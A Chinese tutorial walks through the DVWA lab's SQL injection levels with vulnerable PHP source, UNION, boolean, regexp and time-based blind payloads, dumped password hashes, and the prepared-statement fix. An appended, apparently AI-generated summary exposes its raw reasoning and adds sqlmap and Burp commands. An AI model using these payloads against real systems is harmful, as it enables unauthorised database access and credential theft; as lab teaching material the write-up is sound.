DVWA——SQL Injection

本文详细介绍了不同难度级别的SQL注入攻击案例,包括低级、中级、高级及不可能级别的防护措施,并展示了如何利用各种技巧进行盲注攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL Injection

Low

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) {     ////mysqli_fetch_assoc()函数从结果集中取得一行作为关联数组
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?> 

查询数据库:0' union select 1,database() #    //dvwa

查表名:0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="dvwa") #   //guestbook,users

查列名:0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users") #   //user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

查数据: 0' union select group_concat(first_name,last_name),group_concat(password) from users #
得到:
First name: adminadmin,GordonBrown,HackMe,PabloPicasso,BobSmith

Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

Medium

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Display values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

} 

// This is used later on in the index.php page 
// Setting it here so we can close the database connection in here like in the rest of the source scripts 
$query  = "SELECT COUNT(*) FROM users;"; 
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; 

mysqli_close($GLOBALS["___mysqli_ston"]); 
?> 

Medium增加了mysqli_real_escape_string()函数对一些特殊字符进行转义

前端使用菜单对输入进行限制,但可以抓包处理

存在数字型注入

查询数据库:0 union select 1,database() #    //dvwa

查表:0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #    //guestbook,users

查列名:0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) #    //user_id,first_name,last_name,user,password,avatar,last_login,failed_login

查数据:0 union select group_concat(first_name,last_name),group_concat(password) from users # 

High

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);         
} 

?>

同样可以使用 0' union select group_concat(first_name,last_name),group_concat(password) from users # 直接手工注入

High级别中提交的页面与查询结果的页面并不是一个页面,这样的作用是为了防止一般的sqlmap注入

Impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

Impossible级别的代码已经使用了PDO技术有效的防止了SQL注入,同时Anti-CSRFtoken有效的防治了CSRF攻击


SQL Injection (Blind)

Low

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors     //mysqli_num_rows()函数返回结果集中行的数目  
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

下面给出几个不同方法:

猜测数据库名长度:1’ and length(database())=4 #

猜测数据库名第一位:1' and ascii(left(database(),1))>100 #    //猜测数据库第一位为d

猜测数据库名第二位:1' and ascii(substr(database(),2,1))>118 #   //猜测数据库第二位为v

猜测数据库第三位:1' and ord(mid(database(),3,1))>119 #       //猜测数据库第三位为w,mid()和substr()类似

用了三种方法猜测数据库名,除此之外还有一些方法可取:

like匹配注入:1' and 1=(select database() like 'dv%') #     //猜测数据库前两位位dv

regexp正则注入:1' and 1=(select database() regexp '^[a-e]') #    //判断第一个字符是[a-e]中的字符
              1' and 1=(select database() regexp '^d') #        //确定第一个字符是d
              1' and 1=(select database() regexp '^d[u-w]') #   //判断第二个字符是[u-w]中的字符

              之后就可以一次更换:'^dv[a-z]' -> '^dvw[a-z]' -> '^dvwa[a-z]'

基于时间的盲注:1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #   

猜测表的长度:1' and (select count(table_name) from information_schema.tables where table_schema="dvwa")=2 #    //猜测表有2个

逐个猜测各个表名的长度:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 #   //猜测第一个表长度为9

                    1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 #   //猜测第二个表长度为5

猜测第一个表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #  //猜测第一个表名的第一个字母为g

...

猜测第二个表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>117 #  //猜测第二个表名的第一个字母为u

...

类似的使用上述方法即可猜测出所有的表名和列名

Medium

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

使用了mysqli_real_escape_string()函数,对输入进行限制。

注入方法类似

High

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

使用cookie传送参数,同时使用sleep()函数扰乱时间盲注

Impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 

        // Get results 
        if( $data->rowCount() == 1 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

Impossible级别的代码已经使用了PDO技术有效的防止了SQL注入,同时Anti-CSRFtoken有效的防治了CSRF攻击



<think>我们正在讨论DVWA中的SQL注入攻击。根据用户提供的引用,特别是引用[1]和[2],我们知道DVWASQL注入关卡分为不同安全级别(LOW, MEDIUM, HIGH, IMPOSSIBLE),并且攻击方法包括UNION注入、ERROR注入(针对非盲注)以及BOOLEAN盲注(针对盲注)。同时,引用[3]和[4]提到了一些防御措施,比如限制查询结果数量(LIMIT 1)以及分离查询提交页面和结果页面来防御自动化工具(如sqlmap)。 用户要求了解DVWASQL注入攻击的步骤和原理详解。我们将按照以下结构进行回答: 1. SQL注入原理简介 2. DVWA SQL Injection(非盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 3. DVWA SQL Injection (Blind)(盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 4. 防御措施分析(IMPOSSIBLE级别) 注意:在描述攻击步骤时,我们将结合引用[2]中的示例(获取dvwa数据库的所有表名)以及其他常见的注入技术。 由于引用中提到了使用手工注入和sqlmap,但TIME注入耗时太久未采用,因此我们将重点放在UNION注入、ERROR注入和BOOLEAN盲注上。 开始回答:</think>### DVWA SQL注入攻击步骤与原理详解 DVWA(Damn Vulnerable Web Application)是一款专为安全测试设计的漏洞演练平台。以下针对其SQL注入漏洞(非盲注/盲注)的攻击步骤与原理进行详解,结合LOW、MEDIUM、HIGH安全级别的实践方法,并引用相关技术点[^1][^2][^3][^4]。 --- #### **一、SQL注入原理** **核心漏洞**:攻击者通过篡改输入参数,破坏原始SQL语句结构,执行恶意查询。 **数学表达**: 设原始查询为: $$Q = \text{SELECT * FROM users WHERE id = } \color{red}{\text{'$input'}}$$ 当输入为 `1' UNION SELECT 1,table_name FROM information_schema.tables#` 时,实际执行语句变为: $$Q_{\text{malicious}} = \text{SELECT * FROM users WHERE id = '1' UNION SELECT 1,table_name FROM information_schema.tables#'}$$ 导致数据库返回敏感信息(如表名、字段值)。 --- #### **二、非盲注攻击步骤(SQL Injection)** 适用于页面直接返回查询结果的场景。 ##### **1. LOW级别** **漏洞点**:未过滤用户输入,直接拼接SQL语句[^1]。 **攻击步骤**: 1. **探测列数**(UNION注入前提): ```sql 1' ORDER BY 3# -- 尝试列数,直到报错(如ORDER BY 4报错则列数为3) ``` 2. **联合查询获取数据**(引用[2]示例): ```sql 1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa'# ``` - `1` 为占位符,匹配原始查询列数 - `information_schema.tables` 为系统表,存储所有表名 - `table_schema='dvwa'` 限定目标数据库 ##### **2. MEDIUM级别** **漏洞点**:输入参数改为数字型(无引号),但未过滤[^3]。 **攻击步骤**: 1. **绕过数字型检测**: ```sql 1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='dvwa'# ``` - 无需闭合引号,直接拼接UNION ##### **3. HIGH级别** **漏洞点**:分离查询与结果页面(防自动化工具),但未过滤输入[^4]。 **攻击步骤**: 1. **利用Burp Suite绕过页面分离**: - 拦截查询请求 → 修改参数为注入语句 → 转发获取响应 ```sql 1' UNION SELECT user,password FROM users# ``` - 通过结果页面查看敏感数据(如密码哈希值) --- #### **三、盲注攻击步骤(SQL Injection Blind)** 适用于页面无直接数据返回,但可通过布尔或时间差异判断结果。 ##### **1. BOOLEAN盲注(常用)** **原理**:根据页面返回内容差异(真/假)推断数据。 **攻击步骤**(以获取数据库名为例): 1. **判断数据库名长度**: ```sql 1' AND LENGTH(DATABASE())=4# -- 若页面返回正常,则库名长度为4 ``` 2. **逐字符猜解**: ```sql 1' AND SUBSTRING(DATABASE(),1,1)='d'# -- 验证首字母是否为'd' ``` - 使用 `SUBSTRING()` 或 `MID()` 函数截取字符 ##### **2. sqlmap自动化利用** **适用场景**:手工注入效率低时(如MEDIUM/HIGH级别)。 **命令示例**: ```bash sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=medium" \ --batch --dbs ``` - `--dbs`:列举所有数据库 - `--tables -D dvwa`:列举dvwa库的所有表 > **注意**:HIGH级别因页面分离需配合Burp抓包(`--proxy=http://127.0.0.1:8080`)[^4]。 --- #### **四、防御机制分析(IMPOSSIBLE级别)** **安全代码原理**: 1. **预处理语句(Prepared Statements)**: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); // 强制类型为整数 ``` - 输入参数与SQL逻辑分离,杜绝拼接 2. **Token验证**: - 每次提交需携带CSRF Token,阻止自动化工具重放攻击[^3] --- ### 总结 | 安全级别 | 注入方式 | 关键技巧 | |----------|-------------------|-----------------------------------| | LOW | UNION/ERROR注入 | 闭合单引号,联合查询系统表[^2] | | MEDIUM | 数字型UNION注入 | 省去引号,直接UNION | | HIGH | 工具绕过+手工注入 | Burp Suite拦截修改请求[^4] | | IMPOSSIBLE | 防御生效 | 预处理语句+Token验证 | > 实践提示: > - 非盲注优先用UNION查询(高效) > - 盲注推荐BOOLEAN注入(避免耗时TIME注入)[^1] > - 遇到页面分离时,手动工具结合(Burp+sqlmap)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值